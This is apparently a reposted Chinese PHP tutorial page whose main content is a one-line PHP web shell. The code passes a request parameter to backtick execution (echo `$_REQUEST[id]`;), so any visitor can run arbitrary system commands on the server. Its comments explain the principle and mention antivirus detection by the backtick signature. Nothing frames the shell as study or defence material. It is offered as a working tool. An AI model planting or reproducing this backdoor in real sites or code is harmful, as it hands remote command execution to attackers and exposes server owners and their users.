当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
实现“上一页”和“下一页按钮
实现分十页分向前十页向后十页的处理
基于文本的搜索
基于文本的访客签到簿
php数据库连接
无数据库的详细域名查询程序PHP版(2)
无数据库的详细域名查询程序PHP版(1)
谈谈PHP语法(2)
PHP编程与应用
用户的详细注册和判断
以文本方式上传二进制文件的PHP程序
PHP的类--功能齐全的发送邮件类
一个php作的文本留言本的例子(一)
一个php作的文本留言本的例子(五)
一个php作的文本留言本的例子(四)
一个php作的文本留言本的例子(三)
一个php作的文本留言本的例子(二)
一个php作的文本留言本的例子(六)
PHP4引用文件语句的对比
写一个用户在线显示的程序

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 242 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>